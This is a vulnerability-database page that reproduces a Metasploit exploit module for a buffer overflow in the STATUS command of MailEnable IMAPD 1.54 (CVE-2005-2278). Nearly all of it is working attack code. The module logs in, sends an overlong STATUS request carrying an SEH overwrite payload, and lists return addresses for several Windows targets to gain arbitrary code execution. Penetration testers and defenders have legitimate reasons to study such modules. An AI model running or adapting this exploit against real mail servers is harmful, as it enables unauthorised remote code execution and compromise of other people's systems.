MailEnable IMAPD 1.54 - STATUS Request Buffer Overflow

🗓️ 01 Jul 2014 00:00:00Reported by RootType

MailEnable IMAPD (1.54) STATUS Request Buffer Overflow. Buffer overflow vulnerability in MailEnable's IMAP server allows arbitrary code executio


                                                ##
# $Id: mailenable_status.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require &#39;msf/core&#39;

class Metasploit3 &#60; Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::Imap
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			&#39;Name&#39;           =&#62; &#39;MailEnable IMAPD (1.54) STATUS Request Buffer Overflow&#39;,
			&#39;Description&#39;    =&#62; %q{
					MailEnable&#39;s IMAP server contains a buffer overflow
				vulnerability in the STATUS command. With proper
				credentials, this could allow for the execution of arbitrary
				code.
			},
			&#39;Author&#39;         =&#62; [ &#39;MC&#39; ],
			&#39;License&#39;        =&#62; MSF_LICENSE,
			&#39;Version&#39;        =&#62; &#39;$Revision: 9179 $&#39;,
			&#39;References&#39;     =&#62;
				[
					[ &#39;CVE&#39;, &#39;2005-2278&#39;],
					[ &#39;OSVDB&#39;, &#39;17844&#39;],
					[ &#39;BID&#39;, &#39;14243&#39;],
					[ &#39;NSS&#39;, &#39;19193&#39;],
				],
			&#39;Privileged&#39;     =&#62; true,
			&#39;DefaultOptions&#39; =&#62;
				{
					&#39;EXITFUNC&#39; =&#62; &#39;thread&#39;,
				},
			&#39;Payload&#39;        =&#62;
				{
					&#39;Space&#39;    =&#62; 450,
					&#39;BadChars&#39; =&#62; &#34;\x00\x0a\x0d\x20&#34;,
					&#39;StackAdjustment&#39; =&#62; -3500,
				},
			&#39;Platform&#39;       =&#62; &#39;win&#39;,
			&#39;Targets&#39;        =&#62;
				[
					[&#39;MailEnable 1.54 Pro Universal&#39;,  { &#39;Rets&#39; =&#62;  [9273, 0x1001c019] }], #MEAISP.DLL
					[&#39;Windows XP Pro SP0/SP1 English&#39;, { &#39;Rets&#39; =&#62;  [9273, 0x71aa32ad] }],
					[&#39;Windows 2000 Pro English ALL&#39;,   { &#39;Rets&#39; =&#62;  [9273, 0x75022ac4] }],
					[&#39;Windows 2003 Server English&#39;,    { &#39;Rets&#39; =&#62;  [9273, 0x7ffc0638] }],
				],
			&#39;DisclosureDate&#39; =&#62; &#39;Jul 13 2005&#39;,
			&#39;DefaultTarget&#39; =&#62; 0))
	end

	def exploit
		connect_login

		seh = generate_seh_payload(target[&#39;Rets&#39;][1])
		buf = rand_text_alphanumeric(target[&#39;Rets&#39;][0])
		req = &#34;a001 STATUS \&#34;.\x00&#34; + buf + seh
		req &#60;&#60; &#34;\&#34; (UIDNEXT UIDVALIDITY MESSAGES UNSEEN RECENT)\r\n&#34;
		sock.put(req)

		handler
		disconnect
	end

end

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1